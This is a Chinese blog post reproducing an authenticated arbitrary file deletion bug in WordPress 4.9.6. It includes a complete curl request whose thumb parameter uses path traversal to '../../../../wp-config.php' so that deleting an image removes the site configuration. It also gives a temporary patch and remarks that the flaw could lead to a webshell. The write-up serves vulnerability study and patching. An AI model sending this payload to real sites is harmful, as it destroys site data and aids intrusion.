0x01 前言
在推特上看到了一篇paper,点我啊
wp很久没看到洞了,这个漏洞七个月之前就上报了
可以直接利用删除图片那个功能删除网站配置文件,导致网站只能重装。
0X01 复现过程
这是我下载的最新版wordpress(4.9.6)
登陆后台:
上传张图片:
然后edit
发挥一下Curl的作用。
执行:
curl -v 'http://192.168.19.129/wordpress/wp-admin/post.php?post=7' -H 'Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=wing%7C1531306971%7CZycd9e4B1COvm6oKBWF2SlMfqWu2u0xTG85eAD4giBx%7C099559ea1580b258b82765641ac85a51576507c8c3ebb8e131b20c9eec8f65bc; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=wing%7C1531306971%7CZycd9e4B1COvm6oKBWF2SlMfqWu2u0xTG85eAD4giBx%7Cba9defabde03b6acdb4a5c43fc39244efbec15913483ae43ff0b624be552f5a4; wp-settings-time-1=1530097413' -d 'action=editattachment&_wpnonce=28380b3d4a&thumb=../../../../wp-config.php'
这里把里面的cookie和_wpnonce还有post的值换成你的。
_wpnonce在页面中:
302跳转说明编辑成功。
现在点击Delete Permanently即可。
配置文件成功删除。
漏洞原理作者博客上有细节,本意是删除缩略图。但是没有对路径做限制,导致可以任意文件删除。
作者给的修复代码:
add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' ); function rips_unlink_tempfix( $data ) { if( isset($data['thumb']) ) { $data['thumb'] = basename($data['thumb']); } return $data; }
0x02 Sakura
鸡肋之处在于需要管理员权限,但是危害蛮大的。
see you!
该漏洞粗看,是个任意文件删除漏洞。但是细思极恐。
比如在站点后台限制非常严谨,无法获取到webshell时,可以通过这个漏洞获取到webshell。
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !
请大佬明示如何完美修复??